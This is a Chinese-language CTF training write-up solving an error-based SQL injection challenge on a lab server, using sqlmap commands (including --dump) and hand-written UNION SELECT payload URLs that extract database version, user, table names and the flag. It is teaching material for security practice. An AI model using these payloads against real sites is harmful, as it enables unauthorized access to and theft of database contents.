• #writeup# 深交所CTF内训T1-SQL注入


    T1:SQL 注入

    hint:简单的注入漏洞,可以使用sqlmap工具。
    题目地址:http://www.szse.ml:8080/szse-1/index.php

    简单的sql注入,先判断是何种注入类型。
    http://www.szse.ml:8080/szse-1/index.php?id=1 正常显示
    http://www.szse.ml:8080/szse-1/index.php?id=1' 单引号正常显示,说明不是单引号注入
    http://www.szse.ml:8080/szse-1/index.php?id=1" 显示异常,说明要用双引号闭合。

    注意报错信息,数字1能显示,说明不是整形注入,而是字符注入。整形注入的报错长这样:

    大致可以推断出后台sql语句是

    sql = 'select username, password from xxx_table where id = ("' + $id + '") LIMIT 0,1'

    接下来都是常规操作,判断当前表格有多少个字段。当4改为3的时候,显示正常,说明有3个字段。

    判断哪些字段可以回显。说明第2个和第3个字段可以回显。

    通过上面的分析,可以知道,这是一道 ** GET - Error based - Double Quotes - string “ 注入题目,没有做任何过滤。

    接下来,有两种解题方式:

    方法一:利用sqlmap

    通过前面的人工分析,知道id存在注入,而且是 error-based,所以构造如下命令:

    sqlmap -u "http://www.szse.ml:8080/szse-1/index.php?id=1" -p id --dbms mysql --technique E

    关于 --technique 参数,简单介绍如下:
    这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
    支持的探测方式如下:
    B: Boolean-based blind SQL injection(布尔型注入)
    E: Error-based SQL injection(报错型注入)
    U: UNION query SQL injection(可联合查询注入)
    S: Stacked queries SQL injection(可多语句查询注入)
    T: Time-based blind SQL injection(基于时间延迟注入)

    接下来探测数据库名,在上一条命令尾部加上 --current-db

    查看有哪些表:-D security --tables

    查看表中的内容:-T szseflag --dump

    获得了flag。

    提高
    sqlmap 在探测时候,会用到各种方法,其中盲注探测方式最花时间,为了提高效率,需要了解 --time-sec/--thread 等参数。当服务端存在过滤的时候,还要调用--tamper 脚本进行绕过。

    方法二:直接手工注入

    本题为基本的sql注入,而且带回显,其实完全可以通过手工语句完成:
    1、获得数据库基本信息
    数据库版本:
    http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,version(),3%23

    如果是5.0以上,因为有information_schema函数,可以直接获取到DB中的表和列信息。示例中是5.5.47
    数据库信息:
    http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,database(),3%23
    security
    用户信息:
    http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,user(),3%23
    root@localhost

    2、获取表和列信息
    http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database() %23

    emails,referers,szseflag,uagents,users
    http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='szseflag' %23
    flag

    6、获取字段信息
    http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,flag,3+from+szseflag%23

    szse{sqli_welcome_szse_ctfer}

    方法三:自己编程实现

    在 error-based sqli中,原理和手工注入一样,没必要编程。
    在盲注的时候,就需要编程实现了。这里不再展开,希望大家可以自己做做这道题目:。
    http://www.szse.ml:8080/Less-8/

    提升

    所有的 sqli 题目,其实都在 sqli-labs 里面了,只要每一题都能搞定,相信比赛也没问题。
    目前 sqli-labs 的比赛环境我已经搭建好了,欢迎刷题:
    http://www.szse.ml:8080/

    注意,一共有4类关卡哦:

  • 相关阅读:
    将MySQL中的数据导入到Solr
    Solr中schema.xml的Field介绍
    Window下Nginx的安装和启动
    Idea中运行shell脚本
    window10 下安装Mysql5.6
    Solr Admin管理界面使用说明
    Solr 整合中文分词器mmseg4j
    Solr安装和使用
    ActiveMQ 安装和使用
    AbstractQueuedSynchronizer源码解析
  • 原文地址:https://www.cnblogs.com/handt/p/12589934.html
Copyright © 2020-2023  润新知